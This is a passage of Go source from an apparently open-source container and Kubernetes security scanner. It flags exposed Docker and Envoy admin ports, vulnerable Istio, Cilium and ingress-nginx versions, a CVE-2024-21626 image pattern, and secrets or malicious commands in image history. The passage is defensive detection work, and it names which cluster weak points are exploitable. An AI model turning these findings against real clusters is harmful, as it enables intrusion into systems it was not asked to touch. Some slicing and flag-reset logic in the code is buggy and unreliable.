resp.Body.Close()\n\n\tcontent, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn vuln, tlist\n\t}\n\n\tvalue := gjson.Parse(string(content))\n\n\tif value.Get(\"Containers\").Value() != nil {\n\t\tth := &threat{\n\t\t\tParam:     \"Docker unauthorized\",\n\t\t\tValue:     \"0.0.0.0:2375\",\n\t\t\tDescribe:  \"Exporting 2375 port is suffering the container escape.\",\n\t\t\tReference: \"Delete row which contained `tcp://0.0.0.0:2375`.\",\n\t\t\tSeverity:  \"critical\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc checkImages(images []*_image.ImageInfo) (bool, []*threat) {\n\tlog.Printf(_config.Yellow(\"Begin image analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tfor _, image := range images {\n\t\tif len(image.Summary.RepoTags) < 1 {\n\t\t\tsha := strings.Split(image.Summary.ID, \":\")[1]\n\t\t\tth := &threat{\n\t\t\t\tParam:    \"Image ID\",\n\t\t\t\tValue:    sha[:12],\n\t\t\t\tDescribe: fmt.Sprintf(\"Image Id %s is not tagged, suspectable image.\", sha[:12]),\n\t\t\t\tSeverity: \"low\",\n\t\t\t}\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t\tcontinue\n\t\t}\n\n\t\trepoTag := strings.Split(image.Summary.RepoTags[0], \":\")\n\t\tif len(repoTag) > 1 && repoTag[1] == \"latest\" {\n\t\t\tth := &threat{\n\t\t\t\tParam:    \"Image Name\",\n\t\t\t\tValue:    image.Summary.RepoTags[0],\n\t\t\t\tDescribe: \"Using the latest tag will be suffered potential image hijack.\",\n\t\t\t\tSeverity: \"low\",\n\t\t\t}\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\n\t}\n\n\treturn vuln, tlist\n}\n"
  },
  {
    "path": "internal/analyzer/docker_history.go",
    "content": "package analyzer\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\timagev1 \"github.com/docker/docker/api/types/image\"\n\t_config \"github.com/kvesta/vesta/config\"\n\t_image \"github.com/kvesta/vesta/pkg/inspector\"\n)\n\nfunc CheckHistories(images []*_image.ImageInfo) (bool, []*threat) {\n\tlog.Printf(_config.Yellow(\"Begin image histories analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\techoReg := regexp.MustCompile(`echo [\"|'](.*?)[\"|']`)\n\n\tfor _, img := range images {\n\t\tenv := getEnv(img.History)\n\n\t\t// Check the sensitive environment\n\t\tif ok, tl := checkEnv(env); ok {\n\n\t\t\tfor _, th := range tl {\n\t\t\t\tth.Value = fmt.Sprintf(\"Image name: %s | \"+\n\t\t\t\t\t\"Image ID: %s\", img.Summary.RepoTags[0],\n\t\t\t\t\tstrings.TrimPrefix(img.Summary.ID, \"sha256:\")[:12])\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t}\n\n\t\t\tvuln = true\n\t\t}\n\n\t\tfor _, layer := range img.History {\n\t\t\tpruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, \"/bin/sh -c \")\n\t\t\tpruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, \"#(nop)\")\n\t\t\tpruneLayer := strings.TrimSpace(pruneLayerAfter2)\n\n\t\t\tlink := strings.Split(pruneLayer, \" \")[0]\n\t\t\tswitch link {\n\t\t\tcase \"CMD\", \"ADD\", \"ARG\", \"LABEL\", \"COPY\", \"EXPOSE\", \"ENTRYPOINT\", \"USER\":\n\t\t\t\tcontinue\n\t\t\tcase \"WORKDIR\":\n\t\t\t\t// Check CVE-2024-21626\n\t\t\t\tvalues := strings.Split(pruneLayer, \" \")\n\t\t\t\tif cveRuncRegex.MatchString(values[1]) {\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: \"Image History\",\n\t\t\t\t\t\tValue: fmt.Sprintf(\"Image name: %s | \"+\n\t\t\t\t\t\t\t\"Image ID: %s\", img.Summary.RepoTags[0],\n\t\t\t\t\t\t\tstrings.TrimPrefix(img.Summary.ID, \"sha256:\")[:12]),\n\t\t\t\t\t\tDescribe: \"Detected malicious image based on CVE-2024-21626, \" +\n\t\t\t\t\t\t\t\"which has a link of /proc/self/fd.\",\n\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t}\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\t\t\t\t}\n\n\t\t\tcase \"ENV\":\n\t\t\t\tvalues := strings.Split(pruneLayer, \"=\")\n\t\t\t\tdetect := maliciousContentCheck(values[1])\n\t\t\t\tswitch detect.Types {\n\t\t\t\tcase Executable:\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: \"Image History\",\n\t\t\t\t\t\tValue: fmt.Sprintf(\"Image name: %s | \"+\n\t\t\t\t\t\t\t\"Image ID: %s\", img.Summary.RepoTags[0],\n\t\t\t\t\t\t\tstrings.TrimPrefix(img.Summary.ID, \"sha256:\")[:12]),\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Executable value found in ENV: '%s' \"+\n\t\t\t\t\t\t\t\"with the plain text '%s'.\", strings.TrimPrefix(values[0], \"ENV \"), detect.Plain),\n\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t}\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\n\t\t\t\tcase Confusion:\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: \"Image History\",\n\t\t\t\t\t\tValue: fmt.Sprintf(\"Image name: %s | \"+\n\t\t\t\t\t\t\t\"Image ID: %s\", img.Summary.RepoTags[0],\n\t\t\t\t\t\t\tstrings.TrimPrefix(img.Summary.ID, \"sha256:\")[:12]),\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Confusion value found in ENV: '%s' \"+\n\t\t\t\t\t\t\t\"with the plain text '%s'.\", strings.TrimPrefix(values[0], \"ENV \"), detect.Plain),\n\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t}\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\t\t\t\tdefault:\n\t\t\t\t\t// ignore\n\t\t\t\t}\n\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tcommands := strings.Split(pruneLayer, \"&&\")\n\t\t\tfor _, cmd := range commands {\n\t\t\t\tdetectCmd := maliciousContentCheck(strings.TrimSpace(cmd))\n\t\t\t\tif detectCmd.Types > Unknown {\n\t\t\t\t\tth := &threat{\n\t\t\t\t\t\tParam: \"Image History\",\n\t\t\t\t\t\tValue: fmt.Sprintf(\"Image name: %s | \"+\n\t\t\t\t\t\t\t\"Image ID: %s\", img.Summary.RepoTags[0],\n\t\t\t\t\t\t\tstrings.TrimPrefix(img.Summary.ID, \"sha256:\")[:12]),\n\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Malicious cmd found in RUN: '%s' \"+\n\t\t\t\t\t\t\t\"with the plain text '%s'.\", cmd, detectCmd.Plain),\n\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t}\n\n\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\tvuln = true\n\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Check the content of `echo` command\n\t\t\t\techoMatch := echoReg.FindStringSubmatch(cmd)\n\t\t\t\tif len(echoMatch) > 1 {\n\t\t\t\t\tdetectEcho := maliciousContentCheck(echoMatch[1])\n\t\t\t\t\tif detectEcho.Types > Unknown {\n\t\t\t\t\t\tth := &threat{\n\t\t\t\t\t\t\tParam: \"Image History\",\n\t\t\t\t\t\t\tValue: fmt.Sprintf(\"Image name: %s | \"+\n\t\t\t\t\t\t\t\t\"Image ID: %s\", img.Summary.RepoTags[0],\n\t\t\t\t\t\t\t\tstrings.TrimPrefix(img.Summary.ID, \"sha256:\")[:12]),\n\t\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Malicious value found in RUN: '%s' \"+\n\t\t\t\t\t\t\t\t\"with the plain text '%s'.\", cmd, detectEcho.Plain),\n\t\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\t\tvuln = true\n\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tpass := echoPass(echoMatch[1], env)\n\t\t\t\t\tif len(pass) < 1 {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tswitch checkWeakPassword(pass) {\n\t\t\t\t\tcase \"Weak\":\n\t\t\t\t\t\tth := &threat{\n\t\t\t\t\t\t\tParam: \"Image History\",\n\t\t\t\t\t\t\tValue: fmt.Sprintf(\"Image name: %s | \"+\n\t\t\t\t\t\t\t\t\"Image ID: %s\", img.Summary.RepoTags[0],\n\t\t\t\t\t\t\t\tstrings.TrimPrefix(img.Summary.ID, \"sha256:\")[:12]),\n\t\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Weak password found in command: '%s' \"+\n\t\t\t\t\t\t\t\t\"with the password '%s'.\", cmd, pass),\n\t\t\t\t\t\t\tSeverity: \"high\",\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\t\tvuln = true\n\n\t\t\t\t\tcase \"Medium\":\n\t\t\t\t\t\tth := &threat{\n\t\t\t\t\t\t\tParam: \"Image History\",\n\t\t\t\t\t\t\tValue: fmt.Sprintf(\"Image name: %s | \"+\n\t\t\t\t\t\t\t\t\"Image ID: %s\", img.Summary.RepoTags[0],\n\t\t\t\t\t\t\t\tstrings.TrimPrefix(img.Summary.ID, \"sha256:\")[:12]),\n\t\t\t\t\t\t\tDescribe: fmt.Sprintf(\"Password need need to be reinforeced, found in command: '%s'.\", cmd),\n\t\t\t\t\t\t\tSeverity: \"medium\",\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\ttlist = append(tlist, th)\n\t\t\t\t\t\tvuln = true\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc echoPass(cmd string, env map[string]string) string {\n\n\tvar pass string\n\tmatch := false\n\tfor _, p := range passKey {\n\t\tif p.MatchString(cmd) {\n\t\t\tmatch = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !match {\n\t\treturn pass\n\t}\n\n\tprune := strings.TrimSpace(cmd)\n\n\tif len(strings.Split(prune, \"=\")) > 1 {\n\t\tpass = strings.Split(prune, \"=\")[1]\n\t} else if len(strings.Split(prune, \":\")) > 1 {\n\t\tpass = strings.Split(prune, \":\")[1]\n\t}\n\n\tpass = strings.TrimSpace(pass)\n\n\t// Get true value from format `${env}`\n\tenvReg := regexp.MustCompile(`\\${(.*)}`)\n\tenvMatch := envReg.FindStringSubmatch(pass)\n\tif len(envMatch) > 1 {\n\t\tif value, ok := env[envMatch[1]]; ok {\n\t\t\tpass = value\n\t\t}\n\t}\n\n\treturn pass\n}\n\nfunc getEnv(images []imagev1.HistoryResponseItem) map[string]string {\n\tenv := map[string]string{}\n\n\tfor _, layer := range images {\n\t\tpruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, \"/bin/sh -c \")\n\t\tpruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, \"#(nop)\")\n\t\tpruneLayer := strings.TrimSpace(pruneLayerAfter2)\n\n\t\tlink := strings.Split(pruneLayer, \" \")[0]\n\t\tif link != \"ENV\" {\n\t\t\tcontinue\n\t\t}\n\t\tenvLayer := strings.TrimPrefix(pruneLayer, \"ENV \")\n\t\te := strings.Split(envLayer, \"=\")\n\t\tenv[e[0]] = e[1]\n\t}\n\n\treturn env\n}\n\nfunc checkEnv(env map[string]string) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tfor key, value := range env {\n\t\tfor _, p := range passKey {\n\t\t\tif p.MatchString(key) {\n\n\t\t\t\tth := &threat{\n\t\t\t\t\tParam: \"Image History\",\n\t\t\t\t\tDescribe: fmt.Sprintf(\"Docker history has found the senstive environment\"+\n\t\t\t\t\t\t\" with key '%s' and value: %s.\", key, value),\n\t\t\t\t\tSeverity: \"medium\",\n\t\t\t\t}\n\n\t\t\t\ttlist = append(tlist, th)\n\t\t\t\tvuln = true\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn vuln, tlist\n}\n"
  },
  {
    "path": "internal/analyzer/k8s_cni.go",
    "content": "package analyzer\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n\t\"github.com/shirou/gopsutil/process\"\n\t\"github.com/tidwall/gjson\"\n\t\"gopkg.in/yaml.v3\"\n\tv1 \"k8s.io/api/core/v1\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\t\"k8s.io/client-go/kubernetes/scheme\"\n\t\"k8s.io/client-go/tools/remotecommand\"\n)\n\nfunc (ks *KScanner) checkCNI() error {\n\n\t// Init database\n\tvulnCli := vulnlib.Client{}\n\terr := vulnCli.Init()\n\tif err != nil {\n\t\tlog.Printf(\"init database failed, %v\", err)\n\t}\n\n\t// Check Envoy configuration\n\tif ok, tlist := checkEnvoy(); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\t// Check cilium\n\tif ok, tlist := ks.checkCilium(vulnCli); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\t// Check istio\n\tif ok, tlist := ks.checkIstio(vulnCli); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\t// Check ingress-nginx\n\tif ok, tlist := ks.checkIngressNginx(vulnCli); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\t// Check kubelet port\n\tif ok, tlist := ks.checkKubelet(); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\t// Check kubectl proxy using\n\tif ok, tlist := checkKubectlProxy(); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\t// Check etcd configuration\n\tif ok, tlist := ks.checkEtcd(); ok {\n\t\tks.VulnConfigures = append(ks.VulnConfigures, tlist...)\n\t}\n\n\treturn nil\n}\n\nfunc checkEnvoy() (bool, []*threat) {\n\tlog.Printf(config.Yellow(\"Begin Envoy analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\ttype envoyAdmin struct {\n\t\tAdmin struct {\n\t\t\tAddress struct {\n\t\t\t\tSocketAddress struct {\n\t\t\t\t\tAddress   string `yaml:\"address\" json:\"address\"`\n\t\t\t\t\tPortValue string `yaml:\"port_value\" json:\"port_value\"`\n\t\t\t\t} `yaml:\"socket_address\" json:\"socket_address\"`\n\t\t\t} `yaml:\"address\" json:\"address\"`\n\t\t} `yaml:\"admin\" json:\"admin\"`\n\t}\n\n\t// Only supports Linux\n\tif runtime.GOOS != \"linux\" {\n\t\treturn vuln, tlist\n\t}\n\n\tvar filename string\n\tvar envoyConfig envoyAdmin\n\n\t// Check process or docker to find envoy\n\tprocesses, _ := process.Processes()\n\tfor _, ps := range processes {\n\t\tcmds, _ := ps.CmdlineSlice()\n\t\tif len(cmds) < 1 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !strings.Contains(cmds[0], \"envoy\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tcwd := fmt.Sprintf(\"/proc/%d/cwd/\", ps.Pid)\n\n\t\t// Get the name of config file\n\t\tfor i, p := range cmds {\n\t\t\tif p == \"-c\" {\n\t\t\t\tfilename = cmds[i+1]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tconfigFile := filepath.Join(cwd, filename)\n\n\t\t// Judge file type\n\t\tfileSplit := strings.Split(configFile, \".\")\n\t\tfileType := fileSplit[len(fileSplit)-1]\n\n\t\tf, err := os.Open(configFile)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tconfig, err := io.ReadAll(f)\n\t\tif err != nil {\n\t\t\tf.Close()\n\t\t\tcontinue\n\t\t}\n\n\t\tf.Close()\n\n\t\tswitch fileType {\n\t\tcase \"yaml\":\n\t\t\terr = yaml.Unmarshal(config, &envoyConfig)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\tcase \"json\":\n\t\t\terr = json.Unmarshal(config, &envoyConfig)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\tdefault:\n\t\t\tcontinue\n\n\t\t}\n\n\t\tif envoyConfig != (envoyAdmin{}) {\n\n\t\t\taddress := envoyConfig.Admin.Address.SocketAddress.Address\n\t\t\tport := envoyConfig.Admin.Address.SocketAddress.PortValue\n\n\t\t\tenvoyCommand := strings.Join(cmds[1:], \" \")\n\t\t\tif len(envoyCommand) > 80 {\n\t\t\t\tenvoyCommand = \"envoy \" + envoyCommand[:80] + \"...\"\n\t\t\t} else {\n\t\t\t\tenvoyCommand = strings.Join(cmds, \" \")\n\t\t\t}\n\n\t\t\tth := &threat{\n\t\t\t\tParam: \"admin\",\n\t\t\t\tValue: fmt.Sprintf(\"Pid:%d  Command: \\\"%s\\\"\", ps.Pid, envoyCommand),\n\t\t\t\tType:  \"Envoy\",\n\t\t\t\tDescribe: fmt.Sprintf(\"Envoy admin is activated and exposed to '%s:%s', \"+\n\t\t\t\t\t\"which includes sensitive api and unauthorized.\", address, port),\n\t\t\t\tReference: \"https://www.envoyproxy.io/docs/envoy/latest/operations/admin#administration-interface\",\n\t\t\t\tSeverity:  \"medium\",\n\t\t\t}\n\n\t\t\tif address == \"0.0.0.0\" {\n\t\t\t\tth.Severity = \"high\"\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkIstio(vulnCli vulnlib.Client) (bool, []*threat) {\n\tlog.Printf(config.Yellow(\"Begin Istio analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\t// Get istio deployment\n\tdp, err := ks.KClient.\n\t\tAppsV1().\n\t\tDeployments(\"istio-system\").\n\t\tGet(context.Background(), \"istiod\", metav1.GetOptions{})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"not found\") {\n\t\t\treturn vuln, tlist\n\t\t}\n\n\t\tlog.Printf(\"check istio version failed, %v\", err)\n\t\treturn vuln, tlist\n\t}\n\n\tif dp == nil {\n\t\treturn vuln, tlist\n\t}\n\n\t// Check istio version\n\timageName := dp.Spec.Template.Spec.Containers[0].Image\n\tversionRegex := regexp.MustCompile(`(\\d+\\.)?(\\d+\\.)?(\\*|\\d+)`)\n\tversionMatch := versionRegex.FindStringSubmatch(imageName)\n\tif len(versionMatch) < 2 {\n\t\treturn vuln, tlist\n\t}\n\n\tistioVersion := versionMatch[0]\n\n\trows, err := vulnCli.QueryVulnByName(\"istio\")\n\tif err != nil {\n\t\tlog.Printf(\"check envoy version failed, %v\", err)\n\t\treturn vuln, tlist\n\t}\n\n\tfor _, row := range rows {\n\t\tif compareVersion(istioVersion, row.MaxVersion, row.MinVersion) {\n\t\t\tvar description string\n\t\t\tif len(row.Description) > 100 {\n\t\t\t\tdescription = fmt.Sprintf(\"%s ... Reference: %s\", row.Description[:100], row.CVEID)\n\t\t\t} else {\n\t\t\t\tdescription = fmt.Sprintf(\"%s ... Reference: %s\", row.Description, row.CVEID)\n\t\t\t}\n\n\t\t\tth := &threat{\n\t\t\t\tParam:     \"Istio version\",\n\t\t\t\tValue:     fmt.Sprintf(\"%s < %s\", istioVersion, row.MaxVersion),\n\t\t\t\tType:      \"Istio\",\n\t\t\t\tDescribe:  description,\n\t\t\t\tReference: fmt.Sprintf(\"https://nvd.nist.gov/vuln/detail/%s\", row.CVEID),\n\t\t\t\tSeverity:  strings.ToLower(row.Level),\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkIstioHeader(podname, ns, cname string) (bool, []*threat) {\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\tcmd := []string{\n\t\t\"curl\",\n\t\t\"http://httpbin.org/get\",\n\t}\n\n\treq := ks.KClient.CoreV1().RESTClient().Post().\n\t\tResource(\"pods\").\n\t\tName(podname).\n\t\tNamespace(ns).SubResource(\"exec\").Param(\"container\", cname)\n\toption := &v1.PodExecOptions{\n\t\tCommand: cmd,\n\t\tStdin:   false,\n\t\tStdout:  true,\n\t\tStderr:  true,\n\t\tTTY:     false,\n\t}\n\treq.VersionedParams(\n\t\toption,\n\t\tscheme.ParameterCodec,\n\t)\n\n\tvar stdout, stderr bytes.Buffer\n\n\texec, err := remotecommand.NewSPDYExecutor(ks.KConfig, \"POST\", req.URL())\n\tif err != nil {\n\t\treturn vuln, tlist\n\t}\n\n\terr = exec.Stream(remotecommand.StreamOptions{\n\t\tStdin:  nil,\n\t\tStdout: &stdout,\n\t\tStderr: &stderr,\n\t})\n\n\tif err != nil {\n\t\treturn vuln, tlist\n\t}\n\n\tdata := strings.TrimSpace(stdout.String())\n\theaders := gjson.Get(data, \"headers\").Value()\n\tif headers == nil {\n\t\treturn vuln, tlist\n\t}\n\n\tif _, ok := headers.(map[string]interface{})[\"X-Envoy-Peer-Metadata\"]; ok {\n\t\tth := &threat{\n\t\t\tParam: \"istio header\",\n\t\t\tValue: \"X-Envoy-Peer-Metadata, X-Envoy-Peer-Metadata-Id\",\n\t\t\tType:  \"Istio\",\n\t\t\tDescribe: \"Istio detected and request header \" +\n\t\t\t\t\"is leaking sensitive information\",\n\t\t\tReference: \"https://github.com/istio/istio/issues/17635\",\n\t\t\tSeverity:  \"low\",\n\t\t}\n\n\t\ttlist = append(tlist, th)\n\t\tvuln = true\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkCilium(vulnCli vulnlib.Client) (bool, []*threat) {\n\tlog.Printf(config.Yellow(\"Begin Cilium analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\t// Get cilium deployment\n\tdp, err := ks.KClient.\n\t\tAppsV1().\n\t\tDeployments(\"kube-system\").\n\t\tGet(context.Background(), \"cilium-operator\", metav1.GetOptions{})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"not found\") {\n\t\t\treturn vuln, tlist\n\t\t}\n\n\t\tlog.Printf(\"check envoy version failed, %v\", err)\n\t\treturn vuln, tlist\n\t}\n\n\tif dp == nil {\n\t\treturn vuln, tlist\n\t}\n\n\t// Check cilium version\n\timageName := dp.Spec.Template.Spec.Containers[0].Image\n\timageRegexp := regexp.MustCompile(`\\A(.*?)(?:(:.*?)(@sha256:[0-9a-f]{64})?)?\\z`)\n\tversionMatch := imageRegexp.FindStringSubmatch(imageName)\n\tif len(versionMatch) < 2 {\n\t\treturn vuln, tlist\n\t}\n\n\tciliumVersion := versionMatch[2][1:]\n\trows, err := vulnCli.QueryVulnByName(\"cilium\")\n\tif err != nil {\n\t\tlog.Printf(\"check envoy version failed, %v\", err)\n\t\treturn vuln, tlist\n\t}\n\n\tfor _, row := range rows {\n\t\tif compareVersion(ciliumVersion, row.MaxVersion, row.MinVersion) {\n\t\t\tvar description string\n\t\t\tif len(row.Description) > 200 {\n\t\t\t\tdescription = fmt.Sprintf(\"%s ... Reference: %s\", row.Description[:100], row.CVEID)\n\t\t\t} else {\n\t\t\t\tdescription = fmt.Sprintf(\"%s ... Reference: %s\", row.Description[:100], row.CVEID)\n\t\t\t}\n\n\t\t\tth := &threat{\n\t\t\t\tParam:     \"Cilium version\",\n\t\t\t\tValue:     fmt.Sprintf(\"%s < %s\", ciliumVersion, row.MaxVersion),\n\t\t\t\tType:      \"Cilium\",\n\t\t\t\tDescribe:  description,\n\t\t\t\tReference: fmt.Sprintf(\"https://nvd.nist.gov/vuln/detail/%s\", row.CVEID),\n\t\t\t\tSeverity:  strings.ToLower(row.Level),\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkIngressNginx(vulnCli vulnlib.Client) (bool, []*threat) {\n\tlog.Printf(config.Yellow(\"Begin Nginx Ingress analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\t// Get istio deployment\n\tdp, err := ks.KClient.\n\t\tAppsV1().\n\t\tDeployments(\"ingress-nginx\").\n\t\tGet(context.Background(), \"ingress-nginx-controller\", metav1.GetOptions{})\n\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"not found\") {\n\t\t\treturn vuln, tlist\n\t\t}\n\n\t\tlog.Printf(\"check envoy version failed, %v\", err)\n\t\treturn vuln, tlist\n\t}\n\n\tif dp == nil {\n\t\treturn vuln, tlist\n\t}\n\n\t// Check nginx ingress version\n\timageName := dp.Spec.Template.Spec.Containers[0].Image\n\timageRegexp := regexp.MustCompile(`\\A(.*?)(?:(:.*?)(@sha256:[0-9a-f]{64})?)?\\z`)\n\tversionMatch := imageRegexp.FindStringSubmatch(imageName)\n\tif len(versionMatch) < 2 {\n\t\treturn vuln, tlist\n\t}\n\n\tnginxIngressVersion := versionMatch[2][1:]\n\trows, err := vulnCli.QueryVulnByName(\"ingress-nginx\")\n\tif err != nil {\n\t\tlog.Printf(\"check envoy version failed, %v\", err)\n\t\treturn vuln, tlist\n\t}\n\n\tfor _, row := range rows {\n\t\tif compareVersion(nginxIngressVersion, row.MaxVersion, row.MinVersion) {\n\t\t\tvar description string\n\t\t\tif len(row.Description) > 200 {\n\t\t\t\tdescription = fmt.Sprintf(\"%s ... Reference: %s\", row.Description[:100], row.CVEID)\n\t\t\t} else {\n\t\t\t\tdescription = fmt.Sprintf(\"%s ... Reference: %s\", row.Description[:100], row.CVEID)\n\t\t\t}\n\n\t\t\tth := &threat{\n\t\t\t\tParam:     \"Ingress nginx version\",\n\t\t\t\tValue:     fmt.Sprintf(\"%s < %s\", nginxIngressVersion, row.MaxVersion),\n\t\t\t\tType:      \"Ingress Nginx\",\n\t\t\t\tDescribe:  description,\n\t\t\t\tReference: fmt.Sprintf(\"https://nvd.nist.gov/vuln/detail/%s\", row.CVEID),\n\t\t\t\tSeverity:  strings.ToLower(row.Level),\n\t\t\t}\n\n\t\t\ttlist = append(tlist, th)\n\t\t\tvuln = true\n\t\t}\n\t}\n\n\t// Temporary hardcoded vulnerability comparison before re-integrating CVE database\n\tif compareVersion(nginxIngressVersion, \"v1.12.1\", \"v1.12.0\") || compareVersion(nginxIngressVersion, \"v1.11.5\", \"0.0\") {\n\t\tth := &threat{\n\t\t\tParam:   \"Nginx Ingress Controller RCE\",\n\t\t\tValue:   fmt.Sprintf(\"%s < v1.12.1 or %s < v1.11.5\", nginxIngressVersion, nginxIngressVersion),\n\t\t\tType:    \"Ingress Nginx\",\n\t\t\tSeverity: \"critical\",\n\t\t\tDescribe: \"NGINX Ingress Controller version is vulnerable to CVE-2025-1974, \" +\n\t\t\t\t\"which can be exploited to gain remote code execution.\",\n\t\t\tReference: \"https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities\",\n\t\t}\n\n\t\tvuln = true\n\n\t\t// Analyze ingress-nginx-controller's args to check if controller.admissionWebhooks.enabled is set to false\n\t\t// Find the ingress-nginx-controller container in the deployment\n\t\thasValidating, admissionWebhooksDisabled := false, false\n\t\tfor _, container := range dp.Spec.Template.Spec.Containers {\n\t\t\tif container.Name == \"controller\" || strings.Contains(container.Name, \"ingress-nginx-controller\") {\n\t\t\t\tfor _, arg := range container.Args {\n\t\t\t\t\tif strings.HasPrefix(arg, \"--controller.admissionWebhooks.enabled=\") {\n\t\t\t\t\t\tval := strings.TrimPrefix(arg, \"--controller.admissionWebhooks.enabled=\")\n\t\t\t\t\t\tif val == \"false\" {\n\t\t\t\t\t\t\tadmissionWebhooksDisabled = true\n\t\t\t\t\t\t\tth.Severity = \"low\"\n\t\t\t\t\t\t\tth.Describe = \"The controller.admissionWebhooks.enabled argument is set to false in the ingress-nginx-controller container, which mitigates CVE-2025-1974 risk.\"\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif strings.Contains(arg, \"--validating-webhook\") {\n\t\t\t\t\t\thasValidating = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif admissionWebhooksDisabled {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\tif !hasValidating {\n\t\t\tvuln = false\n\t\t}\n\n\t\tif vuln {\n\t\t\ttlist = append(tlist, th)\n\t\t}\n\t\t\n\t}\n\n\treturn vuln, tlist\n}\n\nfunc (ks *KScanner) checkKubelet() (bool, []*threat) {\n\tlog.Printf(config.Yellow(\"Begin Kubelet analyzing\"))\n\n\tvar vuln = false\n\ttlist := []*threat{}\n\n\t// Only supports Linux\n\tif runtime.GOOS != \"linux\" {\n\t\treturn vuln, tlist\n\t}\n\n\tprocesses, _ := process.Processes()\n\tfor _, ps := range processes {\n\t\tcmds, _ := ps.CmdlineSlice()\n\t\tif len(cmds) < 1 